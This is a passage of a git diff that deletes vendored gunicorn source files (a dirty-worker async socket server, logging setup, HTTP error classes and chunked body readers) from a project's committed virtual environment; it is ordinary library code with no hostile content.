thread_name_prefix=f"dirty-worker-{self.pid}-" - ) - self.log.debug("Created thread pool with %d threads", num_threads) - - try: - self._loop = asyncio.new_event_loop() - asyncio.set_event_loop(self._loop) - self._loop.run_until_complete(self._run_async()) - except Exception as e: - self.log.error("Worker error: %s", e) - finally: - self._cleanup() - - async def _run_async(self): - """Main async loop - start server and handle connections.""" - # Remove socket if it exists - if os.path.exists(self.socket_path): - os.unlink(self.socket_path) - - # Start Unix socket server - self._server = await asyncio.start_unix_server( - self.handle_connection, - path=self.socket_path - ) - - # Make socket accessible - os.chmod(self.socket_path, 0o600) - - self.log.info("Dirty worker %s listening on %s", - self.pid, self.socket_path) - - # Start heartbeat task - heartbeat_task = asyncio.create_task(self._heartbeat_loop()) - - try: - async with self._server: - await self._server.serve_forever() - except asyncio.CancelledError: - pass - finally: - heartbeat_task.cancel() - try: - await heartbeat_task - except asyncio.CancelledError: - pass - - async def _heartbeat_loop(self): - """Periodically update heartbeat.""" - while self.alive: - self.notify() - await asyncio.sleep(self.cfg.dirty_timeout / 2.0) - - async def handle_connection(self, reader, writer): - """ - Handle a connection from the arbiter. - - Each connection can send multiple requests. - """ - self.log.debug("New connection from arbiter") - - try: - while self.alive: - try: - message = await DirtyProtocol.read_message_async(reader) - except asyncio.IncompleteReadError: - # Connection closed - break - - # Handle the request - pass writer for streaming support - await self.handle_request(message, writer) - except Exception as e: - self.log.error("Connection error: %s", e) - finally: - writer.close() - try: - await writer.wait_closed() - except Exception: - pass - - async def handle_request(self, message, writer): - """ - Handle a single request message. - - Supports both regular (non-streaming) and streaming responses. - For streaming, detects if the result is a generator and sends - chunk messages followed by an end message. - - Args: - message: Request dict from protocol - writer: StreamWriter for sending responses - """ - request_id = message.get("id", str(uuid.uuid4())) - msg_type = message.get("type") - - if msg_type != DirtyProtocol.MSG_TYPE_REQUEST: - response = make_error_response( - request_id, - DirtyWorkerError(f"Unknown message type: {msg_type}") - ) - await DirtyProtocol.write_message_async(writer, response) - return - - app_path = message.get("app_path") - action = message.get("action") - args = message.get("args", []) - kwargs = message.get("kwargs", {}) - - # Update heartbeat before executing - self.notify() - - try: - result = await self.execute(app_path, action, args, kwargs) - - # Check if result is a generator (streaming) - if inspect.isgenerator(result): - await self._stream_sync_generator(request_id, result, writer) - elif inspect.isasyncgen(result): - await self._stream_async_generator(request_id, result, writer) - else: - # Regular non-streaming response - response = make_response(request_id, result) - await DirtyProtocol.write_message_async(writer, response) - except Exception as e: - tb = traceback.format_exc() - self.log.error("Error executing %s.%s: %s\n%s", - app_path, action, e, tb) - response = make_error_response( - request_id, - DirtyAppError(str(e), app_path=app_path, action=action, - traceback=tb) - ) - await DirtyProtocol.write_message_async(writer, response) - - async def _stream_sync_generator(self, request_id, gen, writer): - """ - Stream chunks from a synchronous generator. - - Args: - request_id: Request ID for the messages - gen: Sync generator to iterate - writer: StreamWriter for sending messages - """ - # Sentinel value to detect end of generator - # (StopIteration cannot be raised into a Future in Python 3.7+) - _EXHAUSTED = object() - - def _get_next(): - try: - return next(gen) - except StopIteration: - return _EXHAUSTED - - try: - loop = asyncio.get_running_loop() - while True: - # Run next() in executor to avoid blocking event loop - chunk = await loop.run_in_executor(self._executor, _get_next) - if chunk is _EXHAUSTED: - break - # Send chunk message - await DirtyProtocol.write_message_async( - writer, make_chunk_message(request_id, chunk) - ) - # Update heartbeat during long streams - self.notify() - # Send end message - await DirtyProtocol.write_message_async( - writer, make_end_message(request_id) - ) - except Exception as e: - # Error during streaming - send error message - tb = traceback.format_exc() - self.log.error("Error during streaming: %s\n%s", e, tb) - response = make_error_response( - request_id, - DirtyAppError(str(e), traceback=tb) - ) - await DirtyProtocol.write_message_async(writer, response) - finally: - gen.close() - - async def _stream_async_generator(self, request_id, gen, writer): - """ - Stream chunks from an asynchronous generator. - - Args: - request_id: Request ID for the messages - gen: Async generator to iterate - writer: StreamWriter for sending messages - """ - try: - async for chunk in gen: - # Send chunk message - await DirtyProtocol.write_message_async( - writer, make_chunk_message(request_id, chunk) - ) - # Update heartbeat during long streams - self.notify() - # Send end message - await DirtyProtocol.write_message_async( - writer, make_end_message(request_id) - ) - except Exception as e: - # Error during streaming - send error message - tb = traceback.format_exc() - self.log.error("Error during streaming: %s\n%s", e, tb) - response = make_error_response( - request_id, - DirtyAppError(str(e), traceback=tb) - ) - await DirtyProtocol.write_message_async(writer, response) - finally: - await gen.aclose() - - async def execute(self, app_path, action, args, kwargs): - """ - Execute an action on a dirty app. - - The action runs in a thread pool executor to avoid blocking the - asyncio event loop. Execution timeout is enforced using - ``dirty_timeout`` config. - - Args: - app_path: Import path of the dirty app - action: Action name to execute - args: Positional arguments - kwargs: Keyword arguments - - Returns: - Result from the app action - - Raises: - DirtyAppNotFoundError: If app is not loaded - DirtyTimeoutError: If execution exceeds timeout - DirtyAppError: If execution fails - """ - if app_path not in self.apps: - raise DirtyAppNotFoundError(app_path) - - app = self.apps[app_path] - timeout = self.cfg.dirty_timeout if self.cfg.dirty_timeout > 0 else None - - # Run the app call in the thread pool to avoid blocking - # the event loop for CPU-bound operations - loop = asyncio.get_running_loop() - - try: - result = await asyncio.wait_for( - loop.run_in_executor( - self._executor, - lambda: app(action, *args, **kwargs) - ), - timeout=timeout - ) - return result - except asyncio.TimeoutError: - # Note: The thread continues running - we just stop waiting - self.log.warning( - "Execution timeout for %s.%s after %ds", - app_path, action, timeout - ) - raise DirtyTimeoutError( - f"Execution of {app_path}.{action} timed out", - timeout=timeout - ) - - def _cleanup(self): - """Clean up resources on shutdown.""" - # Shutdown thread pool executor - if self._executor: - self._executor.shutdown(wait=False, cancel_futures=True) - self._executor = None - - # Close all apps - for path, app in self.apps.items(): - try: - app.close() - self.log.debug("Closed dirty app: %s", path) - except Exception as e: - self.log.error("Error closing dirty app %s: %s", path, e) - - # Close temp file - try: - self.tmp.close() - except Exception: - pass - - # Remove socket file - try: - if os.path.exists(self.socket_path): - os.unlink(self.socket_path) - except Exception: - pass - - self.log.info("Dirty worker %s exiting", self.pid) diff --git a/venv/Lib/site-packages/gunicorn/errors.py b/venv/Lib/site-packages/gunicorn/errors.py deleted file mode 100644 index 1128380803170ebff35cef90c8fa718ad47fab8e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/errors.py +++ /dev/null @@ -1,28 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -# We don't need to call super() in __init__ methods of our -# BaseException and Exception classes because we also define -# our own __str__ methods so there is no need to pass 'message' -# to the base class to get a meaningful output from 'str(exc)'. -# pylint: disable=super-init-not-called - - -# we inherit from BaseException here to make sure to not be caught -# at application level -class HaltServer(BaseException): - def __init__(self, reason, exit_status=1): - self.reason = reason - self.exit_status = exit_status - - def __str__(self): - return "" % (self.reason, self.exit_status) - - -class ConfigError(Exception): - """ Exception raised on config error """ - - -class AppImportError(Exception): - """ Exception raised when loading an application """ diff --git a/venv/Lib/site-packages/gunicorn/glogging.py b/venv/Lib/site-packages/gunicorn/glogging.py deleted file mode 100644 index 9287d986919735464c02e7dec78d9d6147e08d8b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/glogging.py +++ /dev/null @@ -1,493 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import base64 -import binascii -import json -import time -import logging -logging.Logger.manager.emittedNoHandlerWarning = 1 # noqa -from logging.config import dictConfig -from logging.config import fileConfig -import os -import socket -import sys -import threading -import traceback - -from gunicorn import util - - -# syslog facility codes -SYSLOG_FACILITIES = { - "auth": 4, - "authpriv": 10, - "cron": 9, - "daemon": 3, - "ftp": 11, - "kern": 0, - "lpr": 6, - "mail": 2, - "news": 7, - "security": 4, # DEPRECATED - "syslog": 5, - "user": 1, - "uucp": 8, - "local0": 16, - "local1": 17, - "local2": 18, - "local3": 19, - "local4": 20, - "local5": 21, - "local6": 22, - "local7": 23 -} - -CONFIG_DEFAULTS = { - "version": 1, - "disable_existing_loggers": False, - "root": {"level": "INFO", "handlers": ["console"]}, - "loggers": { - "gunicorn.error": { - "level": "INFO", - "handlers": ["error_console"], - "propagate": True, - "qualname": "gunicorn.error" - }, - - "gunicorn.access": { - "level": "INFO", - "handlers": ["console"], - "propagate": True, - "qualname": "gunicorn.access" - } - }, - "handlers": { - "console": { - "class": "logging.StreamHandler", - "formatter": "generic", - "stream": "ext://sys.stdout" - }, - "error_console": { - "class": "logging.StreamHandler", - "formatter": "generic", - "stream": "ext://sys.stderr" - }, - }, - "formatters": { - "generic": { - "format": "%(asctime)s [%(process)d] [%(levelname)s] %(message)s", - "datefmt": "[%Y-%m-%d %H:%M:%S %z]", - "class": "logging.Formatter" - } - } -} - - -def loggers(): - """ get list of all loggers """ - root = logging.root - existing = list(root.manager.loggerDict.keys()) - return [logging.getLogger(name) for name in existing] - - -class SafeAtoms(dict): - - def __init__(self, atoms): - dict.__init__(self) - for key, value in atoms.items(): - if isinstance(value, str): - self[key] = value.replace('"', '\\"') - else: - self[key] = value - - def __getitem__(self, k): - if k.startswith("{"): - kl = k.lower() - if kl in self: - return super().__getitem__(kl) - else: - return "-" - if k in self: - return super().__getitem__(k) - else: - return '-' - - -def parse_syslog_address(addr): - - # unix domain socket type depends on backend - # SysLogHandler will try both when given None - if addr.startswith("unix://"): - sock_type = None - - # set socket type only if explicitly requested - parts = addr.split("#", 1) - if len(parts) == 2: - addr = parts[0] - if parts[1] == "dgram": - sock_type = socket.SOCK_DGRAM - - return (sock_type, addr.split("unix://")[1]) - - if addr.startswith("udp://"): - addr = addr.split("udp://")[1] - socktype = socket.SOCK_DGRAM - elif addr.startswith("tcp://"): - addr = addr.split("tcp://")[1] - socktype = socket.SOCK_STREAM - else: - raise RuntimeError("invalid syslog address") - - if '[' in addr and ']' in addr: - host = addr.split(']')[0][1:].lower() - elif ':' in addr: - host = addr.split(':')[0].lower() - elif addr == "": - host = "localhost" - else: - host = addr.lower() - - addr = addr.split(']')[-1] - if ":" in addr: - port = addr.split(':', 1)[1] - if not port.isdigit(): - raise RuntimeError("%r is not a valid port number." % port) - port = int(port) - else: - port = 514 - - return (socktype, (host, port)) - - -class Logger: - - LOG_LEVELS = { - "critical": logging.CRITICAL, - "error": logging.ERROR, - "warning": logging.WARNING, - "info": logging.INFO, - "debug": logging.DEBUG - } - loglevel = logging.INFO - - error_fmt = r"%(asctime)s [%(process)d] [%(levelname)s] %(message)s" - datefmt = r"[%Y-%m-%d %H:%M:%S %z]" - - access_fmt = "%(message)s" - syslog_fmt = "[%(process)d] %(message)s" - - atoms_wrapper_class = SafeAtoms - - def __init__(self, cfg): - self.error_log = logging.getLogger("gunicorn.error") - self.error_log.propagate = False - self.access_log = logging.getLogger("gunicorn.access") - self.access_log.propagate = False - self.error_handlers = [] - self.access_handlers = [] - self.logfile = None - self.lock = threading.Lock() - self.cfg = cfg - self.setup(cfg) - - def setup(self, cfg): - # the cfg object is replaced on each configuration reload, so - # follow the one we are given instead of the startup one - self.cfg = cfg - self.loglevel = self.LOG_LEVELS.get(cfg.loglevel.lower(), logging.INFO) - self.error_log.setLevel(self.loglevel) - self.access_log.setLevel(logging.INFO) - - # drop our own handlers from a previous setup so that re-running - # it on configuration reload does not stack duplicates - for log in (self.error_log, self.access_log): - for handler in list(log.handlers): - if getattr(handler, "_gunicorn", False): - log.removeHandler(handler) - - # set gunicorn.error handler - if self.cfg.capture_output and cfg.errorlog != "-": - for stream in sys.stdout, sys.stderr: - stream.flush() - - self.logfile = open(cfg.errorlog, 'a+') - os.dup2(self.logfile.fileno(), sys.stdout.fileno()) - os.dup2(self.logfile.fileno(), sys.stderr.fileno()) - - self._set_handler(self.error_log, cfg.errorlog, - logging.Formatter(self.error_fmt, self.datefmt)) - - # set gunicorn.access handler - if cfg.accesslog is not None: - self._set_handler( - self.access_log, cfg.accesslog, - fmt=logging.Formatter(self.access_fmt), stream=sys.stdout - ) - - # set syslog handler - if cfg.syslog: - self._set_syslog_handler( - self.error_log, cfg, self.syslog_fmt, "error" - ) - if not cfg.disable_redirect_access_to_syslog: - self._set_syslog_handler( - self.access_log, cfg, self.syslog_fmt, "access" - ) - - if cfg.logconfig_dict: - config = CONFIG_DEFAULTS.copy() - config.update(cfg.logconfig_dict) - try: - dictConfig(config) - except ( - AttributeError, - ImportError, - ValueError, - TypeError - ) as exc: - raise RuntimeError(str(exc)) from exc - elif cfg.logconfig_json: - config = CONFIG_DEFAULTS.copy() - if os.path.exists(cfg.logconfig_json): - try: - config_json = json.load(open(cfg.logconfig_json)) - config.update(config_json) - dictConfig(config) - except ( - json.JSONDecodeError, - AttributeError, - ImportError, - ValueError, - TypeError - ) as exc: - raise RuntimeError(str(exc)) from exc - elif cfg.logconfig: - if os.path.exists(cfg.logconfig): - defaults = CONFIG_DEFAULTS.copy() - defaults['__file__'] = cfg.logconfig - defaults['here'] = os.path.dirname(cfg.logconfig) - fileConfig(cfg.logconfig, defaults=defaults, - disable_existing_loggers=False) - else: - msg = "Error: log config '%s' not found" - raise RuntimeError(msg % cfg.logconfig) - - def critical(self, msg, *args, **kwargs): - self.error_log.critical(msg, *args, **kwargs) - - def error(self, msg, *args, **kwargs): - self.error_log.error(msg, *args, **kwargs) - - def warning(self, msg, *args, **kwargs): - self.error_log.warning(msg, *args, **kwargs) - - def info(self, msg, *args, **kwargs): - self.error_log.info(msg, *args, **kwargs) - - def debug(self, msg, *args, **kwargs): - self.error_log.debug(msg, *args, **kwargs) - - def exception(self, msg, *args, **kwargs): - self.error_log.exception(msg, *args, **kwargs) - - def log(self, lvl, msg, *args, **kwargs): - if isinstance(lvl, str): - lvl = self.LOG_LEVELS.get(lvl.lower(), logging.INFO) - self.error_log.log(lvl, msg, *args, **kwargs) - - def atoms(self, resp, req, environ, request_time): - """ Gets atoms for log formatting. - """ - status = resp.status - if isinstance(status, str): - status = status.split(None, 1)[0] - atoms = { - 'h': environ.get('REMOTE_ADDR', '-'), - 'l': '-', - 'u': self._get_user(environ) or '-', - 't': self.now(), - 'r': "%s %s %s" % (environ['REQUEST_METHOD'], - environ['RAW_URI'], - environ["SERVER_PROTOCOL"]), - 's': status, - 'm': environ.get('REQUEST_METHOD'), - 'U': environ.get('PATH_INFO'), - 'q': environ.get('QUERY_STRING'), - 'H': environ.get('SERVER_PROTOCOL'), - 'b': getattr(resp, 'sent', None) is not None and str(resp.sent) or '-', - 'B': getattr(resp, 'sent', None), - 'f': environ.get('HTTP_REFERER', '-'), - 'a': environ.get('HTTP_USER_AGENT', '-'), - 'T': request_time.seconds, - 'D': (request_time.seconds * 1000000) + request_time.microseconds, - 'M': (request_time.seconds * 1000) + int(request_time.microseconds / 1000), - 'L': "%d.%06d" % (request_time.seconds, request_time.microseconds), - 'p': "<%s>" % os.getpid() - } - - # add request headers - if hasattr(req, 'headers'): - req_headers = req.headers - else: - req_headers = req - - if hasattr(req_headers, "items"): - req_headers = req_headers.items() - - atoms.update({"{%s}i" % k.lower(): v for k, v in req_headers}) - - resp_headers = resp.headers - if hasattr(resp_headers, "items"): - resp_headers = resp_headers.items() - - # add response headers - atoms.update({"{%s}o" % k.lower(): v for k, v in resp_headers}) - - # add environ variables - environ_variables = environ.items() - atoms.update({"{%s}e" % k.lower(): v for k, v in environ_variables}) - - return atoms - - @property - def access_log_enabled(self): - """Check if access logging is enabled. - - Used by protocol handlers to skip building log data when logging is disabled. - """ - return bool( - self.cfg.accesslog or self.cfg.logconfig or - self.cfg.logconfig_dict or self.cfg.logconfig_json or - (self.cfg.syslog and not self.cfg.disable_redirect_access_to_syslog) - ) - - def access(self, resp, req, environ, request_time): - """ See http://httpd.apache.org/docs/2.0/logs.html#combined - for format details - """ - - if not self.access_log_enabled: - return - - # wrap atoms: - # - make sure atoms will be test case insensitively - # - if atom doesn't exist replace it by '-' - safe_atoms = self.atoms_wrapper_class( - self.atoms(resp, req, environ, request_time) - ) - - try: - self.access_log.info(self.cfg.access_log_format, safe_atoms) - except Exception: - self.error(traceback.format_exc()) - - def now(self): - """ return date in Apache Common Log Format """ - return time.strftime('[%d/%b/%Y:%H:%M:%S %z]') - - def reopen_files(self): - if self.cfg.capture_output and self.cfg.errorlog != "-": - for stream in sys.stdout, sys.stderr: - stream.flush() - - with self.lock: - if self.logfile is not None: - self.logfile.close() - self.logfile = open(self.cfg.errorlog, 'a+') - os.dup2(self.logfile.fileno(), sys.stdout.fileno()) - os.dup2(self.logfile.fileno(), sys.stderr.fileno()) - - for log in loggers(): - for handler in log.handlers: - if isinstance(handler, logging.FileHandler): - handler.acquire() - try: - if handler.stream: - handler.close() - handler.stream = handler._open() - finally: - handler.release() - - def close_on_exec(self): - for log in loggers(): - for handler in log.handlers: - if isinstance(handler, logging.FileHandler): - handler.acquire() - try: - if handler.stream: - util.close_on_exec(handler.stream.fileno()) - finally: - handler.release() - - def _get_gunicorn_handler(self, log): - for h in log.handlers: - if getattr(h, "_gunicorn", False): - return h - - def _set_handler(self, log, output, fmt, stream=None): - # remove previous gunicorn log handler - h = self._get_gunicorn_handler(log) - if h: - log.handlers.remove(h) - - if output is not None: - if output == "-": - h = logging.StreamHandler(stream) - else: - util.check_is_writable(output) - h = logging.FileHandler(output) - # make sure the user can reopen the file - try: - os.chown(h.baseFilename, self.cfg.user, self.cfg.group) - except OSError: - # it's probably OK there, we assume the user has given - # /dev/null as a parameter. - pass - - h.setFormatter(fmt) - h._gunicorn = True - log.addHandler(h) - - def _set_syslog_handler(self, log, cfg, fmt, name): - # setup format - prefix = cfg.syslog_prefix or cfg.proc_name.replace(":", ".") - - prefix = "gunicorn.%s.%s" % (prefix, name) - - # set format - fmt = logging.Formatter(r"%s: %s" % (prefix, fmt)) - - # syslog facility - try: - facility = SYSLOG_FACILITIES[cfg.syslog_facility.lower()] - except KeyError as exc: - raise RuntimeError("unknown facility name") from exc - - # parse syslog address - socktype, addr = parse_syslog_address(cfg.syslog_addr) - - # finally setup the syslog handler - h = logging.handlers.SysLogHandler(address=addr, - facility=facility, socktype=socktype) - - h.setFormatter(fmt) - h._gunicorn = True - log.addHandler(h) - - def _get_user(self, environ): - user = None - http_auth = environ.get("HTTP_AUTHORIZATION") - if http_auth and http_auth.lower().startswith('basic'): - auth = http_auth.split(" ", 1) - if len(auth) == 2: - try: - # b64decode doesn't accept unicode in Python < 3.3 - # so we need to convert it to a byte string - auth = base64.b64decode(auth[1].strip().encode('utf-8')) - # b64decode returns a byte string - user = auth.split(b":", 1)[0].decode("UTF-8") - except (TypeError, binascii.Error, UnicodeDecodeError) as exc: - self.debug("Couldn't get username: %s", exc) - return user diff --git a/venv/Lib/site-packages/gunicorn/http/__init__.py b/venv/Lib/site-packages/gunicorn/http/__init__.py deleted file mode 100644 index 9ca81d390153e3528229ffdeb9b744b50918ed2a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http/__init__.py +++ /dev/null @@ -1,36 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -from gunicorn.http.message import Message, Request -from gunicorn.http.parser import RequestParser - - -def get_parser(cfg, source, source_addr, http2_connection=False): - """Get appropriate parser based on protocol config. - - Args: - cfg: Gunicorn config object - source: Socket or iterable source - source_addr: Source address tuple or None - http2_connection: If True, create HTTP/2 connection handler - - Returns: - Parser instance (RequestParser, UWSGIParser, or HTTP2ServerConnection) - """ - # HTTP/2 connection - if http2_connection: - from gunicorn.http2.connection import HTTP2ServerConnection - return HTTP2ServerConnection(cfg, source, source_addr) - - # uWSGI protocol - protocol = getattr(cfg, 'protocol', 'http') - if protocol == 'uwsgi': - from gunicorn.uwsgi.parser import UWSGIParser - return UWSGIParser(cfg, source, source_addr) - - # Default HTTP/1.x - return RequestParser(cfg, source, source_addr) - - -__all__ = ['Message', 'Request', 'RequestParser', 'get_parser'] diff --git a/venv/Lib/site-packages/gunicorn/http/body.py b/venv/Lib/site-packages/gunicorn/http/body.py deleted file mode 100644 index 99d75ec2d68c1a3ca2e9425d7634fc88d6fde334..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http/body.py +++ /dev/null @@ -1,274 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -import io -import sys - -from gunicorn.http.errors import (NoMoreData, ChunkMissingTerminator, - InvalidChunkSize, InvalidChunkExtension) - - -class ChunkedReader: - def __init__(self, req, unreader): - self.req = req - self.parser = self.parse_chunked(unreader) - self.buf = io.BytesIO() - - def read(self, size): - if not isinstance(size, int): - raise TypeError("size must be an integer type") - if size < 0: - raise ValueError("Size must be positive.") - if size == 0: - return b"" - - if self.parser: - while self.buf.tell() < size: - try: - self.buf.write(next(self.parser)) - except StopIteration: - self.parser = None - break - - data = self.buf.getvalue() - ret, rest = data[:size], data[size:] - self.buf = io.BytesIO() - self.buf.write(rest) - return ret - - def parse_trailers(self, unreader, data): - buf = io.BytesIO() - buf.write(data) - - idx = buf.getvalue().find(b"\r\n\r\n") - done = buf.getvalue()[:2] == b"\r\n" - while idx < 0 and not done: - try: - self.get_data(unreader, buf) - except NoMoreData: - # RFC 9112 7.1.2: the last chunk (0 CRLF) must be followed by - # a CRLF-terminated trailer section. Hitting EOF before that - # means the chunked body was truncated, not cleanly ended. - raise ChunkMissingTerminator(b"") from None - idx = buf.getvalue().find(b"\r\n\r\n") - done = buf.getvalue()[:2] == b"\r\n" - if done: - unreader.unread(buf.getvalue()[2:]) - return b"" - self.req.trailers = self.req.parse_headers(buf.getvalue()[:idx], from_trailer=True) - unreader.unread(buf.getvalue()[idx + 4:]) - - def parse_chunked(self, unreader): - (size, rest) = self.parse_chunk_size(unreader) - while size > 0: - while size > len(rest): - size -= len(rest) - yield rest - rest = unreader.read() - if not rest: - raise NoMoreData() - yield rest[:size] - # Remove \r\n after chunk - rest = rest[size:] - while len(rest) < 2: - new_data = unreader.read() - if not new_data: - break - rest += new_data - if rest[:2] != b'\r\n': - raise ChunkMissingTerminator(rest[:2]) - (size, rest) = self.parse_chunk_size(unreader, data=rest[2:]) - - def parse_chunk_size(self, unreader, data=None): - buf = io.BytesIO() - if data is not None: - buf.write(data) - - idx = buf.getvalue().find(b"\r\n") - while idx < 0: - self.get_data(unreader, buf) - idx = buf.getvalue().find(b"\r\n") - - data = buf.getvalue() - line, rest_chunk = data[:idx], data[idx + 2:] - - # RFC9112 7.1.1: BWS before chunk-ext - but ONLY then - chunk_size, *chunk_ext = line.split(b";", 1) - if chunk_ext: - # RFC 9112: chunk-ext must not contain bare CR - if b'\r' in chunk_ext[0]: - raise InvalidChunkExtension("bare CR not allowed") - chunk_size = chunk_size.rstrip(b" \t") - if any(n not in b"0123456789abcdefABCDEF" for n in chunk_size): - raise InvalidChunkSize(chunk_size) - if len(chunk_size) == 0: - raise InvalidChunkSize(chunk_size) - chunk_size = int(chunk_size, 16) - - if chunk_size == 0: - self.parse_trailers(unreader, rest_chunk) - return (0, None) - return (chunk_size, rest_chunk) - - def get_data(self, unreader, buf): - data = unreader.read() - if not data: - raise NoMoreData() - buf.write(data) - - -class LengthReader: - def __init__(self, unreader, length): - self.unreader = unreader - self.length = length - - def read(self, size): - if not isinstance(size, int): - raise TypeError("size must be an integral type") - - size = min(self.length, size) - if size < 0: - raise ValueError("Size must be positive.") - if size == 0: - return b"" - - buf = io.BytesIO() - data = self.unreader.read() - while data: - buf.write(data) - if buf.tell() >= size: - break - data = self.unreader.read() - - buf = buf.getvalue() - ret, rest = buf[:size], buf[size:] - self.unreader.unread(rest) - self.length -= size - return ret - - -class EOFReader: - def __init__(self, unreader): - self.unreader = unreader - self.buf = io.BytesIO() - self.finished = False - - def read(self, size): - if not isinstance(size, int): - raise TypeError("size must be an integral type") - if size < 0: - raise ValueError("Size must be positive.") - if size == 0: - return b"" - - if self.finished: - data = self.buf.getvalue() - ret, rest = data[:size], data[size:] - self.buf = io.BytesIO() - self.buf.write(rest) - return ret - - data = self.unreader.read() - while data: - self.buf.write(data) - if self.buf.tell() > size: - break - data = self.unreader.read() - - if not data: - self.finished = True - - data = self.buf.getvalue() - ret, rest = data[:size], data[size:] - self.buf = io.BytesIO() - self.buf.write(rest) - return ret - - -class Body: - def __init__(self, reader): - self.reader = reader - self.buf = io.BytesIO() - - def __iter__(self): - return self - - def __next__(self): - ret = self.readline() - if not ret: - raise StopIteration() - return ret - - next = __next__ - - def getsize(self, size): - if size is None: - return sys.maxsize - elif not isinstance(size, int): - raise TypeError("size must be an integral type") - elif size < 0: - return sys.maxsize - return size - - def read(self, size=None): - size = self.getsize(size) - if size == 0: - return b"" - - if size < self.buf.tell(): - data = self.buf.getvalue() - ret, rest = data[:size], data[size:] - self.buf = io.BytesIO() - self.buf.write(rest) - return ret - - while size > self.buf.tell(): - data = self.reader.read(1024) - if not data: - break - self.buf.write(data) - - data = self.buf.getvalue() - ret, rest = data[:size], data[size:] - self.buf = io.BytesIO() - self.buf.write(rest) - return ret - - def readline(self, size=None): - size = self.getsize(size) - if size == 0: - return b"" - - data = self.buf.getvalue() - self.buf = io.BytesIO() - - ret = [] - while 1: - idx = data.find(b"\n", 0, size) - idx = idx + 1 if idx >= 0 else size if len(data) >= size else 0 - if idx: - ret.append(data[:idx]) - self.buf.write(data[idx:]) - break - - ret.append(data) - size -= len(data) - data = self.reader.read(min(1024, size)) - if not data: - break - - return b"".join(ret) - - def readlines(self, size=None): - ret = [] - data = self.read() - while data: - pos = data.find(b"\n") - if pos < 0: - ret.append(data) - data = b"" - else: - line, data = data[:pos + 1], data[pos + 1:] - ret.append(line) - return ret diff --git a/venv/Lib/site-packages/gunicorn/http/errors.py b/venv/Lib/site-packages/gunicorn/http/errors.py deleted file mode 100644 index f6c7d579d03dc8149505ae7c607d3badaf8dda79..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http/errors.py +++ /dev/null @@ -1,174 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -# We don't need to call super() in __init__ methods of our -# BaseException and Exception classes because we also define -# our own __str__ methods so there is no need to pass 'message' -# to the base class to get a meaningful output from 'str(exc)'. -# pylint: disable=super-init-not-called - - -class ParseException(Exception): - pass - - -class NoMoreData(IOError): - def __init__(self, buf=None): - self.buf = buf - - def __str__(self): - return "No more data after: %r" % self.buf - - -class ConfigurationProblem(ParseException): - def __init__(self, info): - self.info = info - self.code = 500 - - def __str__(self): - return "Configuration problem: %s" % self.info - - -class InvalidRequestLine(ParseException): - def __init__(self, req): - self.req = req - self.code = 400 - - def __str__(self): - return "Invalid HTTP request line: %r" % self.req - - -class InvalidRequestMethod(ParseException): - def __init__(self, method): - self.method = method - - def __str__(self): - return "Invalid HTTP method: %r" % self.method - - -class ExpectationFailed(ParseException): - def __init__(self, expect): - self.expect = expect - - def __str__(self): - return "Unable to comply with expectation: %r" % (self.expect, ) - - -class InvalidHTTPVersion(ParseException): - def __init__(self, version): - self.version = version - - def __str__(self): - return "Invalid HTTP Version: %r" % (self.version,) - - -class InvalidHeader(ParseException): - def __init__(self, hdr, req=None): - self.hdr = hdr - self.req = req - - def __str__(self): - return "Invalid HTTP Header: %r" % self.hdr - - -class ObsoleteFolding(ParseException): - def __init__(self, hdr): - self.hdr = hdr - - def __str__(self): - return "Obsolete line folding is unacceptable: %r" % (self.hdr, ) - - -class InvalidHeaderName(ParseException): - def __init__(self, hdr): - self.hdr = hdr - - def __str__(self): - return "Invalid HTTP header name: %r" % self.hdr - - -class UnsupportedTransferCoding(ParseException): - def __init__(self, hdr): - self.hdr = hdr - self.code = 501 - - def __str__(self): - return "Unsupported transfer coding: %r" % self.hdr - - -class InvalidChunkSize(IOError): - def __init__(self, data): - self.data = data - - def __str__(self): - return "Invalid chunk size: %r" % self.data - - -class ChunkMissingTerminator(IOError): - def __init__(self, term): - self.term = term - - def __str__(self): - return "Invalid chunk terminator is not '\\r\\n': %r" % self.term - - -class InvalidChunkExtension(IOError): - """Invalid chunk extension per RFC 9112.""" - - def __init__(self, reason): - self.reason = reason - - def __str__(self): - return "Invalid chunk extension: %s" % self.reason - - -class LimitRequestLine(ParseException): - def __init__(self, size, max_size=None): - self.size = size - self.max_size = max_size - - def __str__(self): - if self.max_size is None: - return str(self.size) - return "Request Line is too large (%s > %s)" % (self.size, self.max_size) - - -class LimitRequestHeaders(ParseException): - def __init__(self, msg): - self.msg = msg - - def __str__(self): - return self.msg - - -class InvalidProxyLine(ParseException): - def __init__(self, line): - self.line = line - self.code = 400 - - def __str__(self): - return "Invalid PROXY line: %r" % self.line - - -class InvalidProxyHeader(ParseException): - def __init__(self, msg): - self.msg = msg - self.code = 400 - - def __str__(self): - return "Invalid PROXY header: %s" % self.msg - - -class ForbiddenProxyRequest(ParseException): - def __init__(self, host): - self.host = host - self.code = 403 - - def __str__(self): - return "Proxy request from %r not allowed" % self.host - - -class InvalidSchemeHeaders(ParseException): - def __str__(self): - return "Contradictory scheme headers" diff --git a/venv/Lib/site-packages/gunicorn/http/message.py b/venv/Lib/site-packages/gunicorn/http/message.py deleted file mode 100644 index 6a1e92a17c35dfe8605e569e837255e48fed64e1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http/message.py +++ /dev/null @@ -1,913 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -from enum import IntEnum -import ipaddress -import re -import socket -import struct - -from gunicorn.http.body import ChunkedReader, LengthReader, EOFReader, Body -from gunicorn.http.errors import ( - InvalidHeader, InvalidHeaderName, NoMoreData, - InvalidRequestLine, InvalidRequestMethod, InvalidHTTPVersion, - LimitRequestLine, LimitRequestHeaders, - UnsupportedTransferCoding, ObsoleteFolding, - ExpectationFailed, -) -from gunicorn.http.errors import InvalidProxyLine, InvalidProxyHeader, 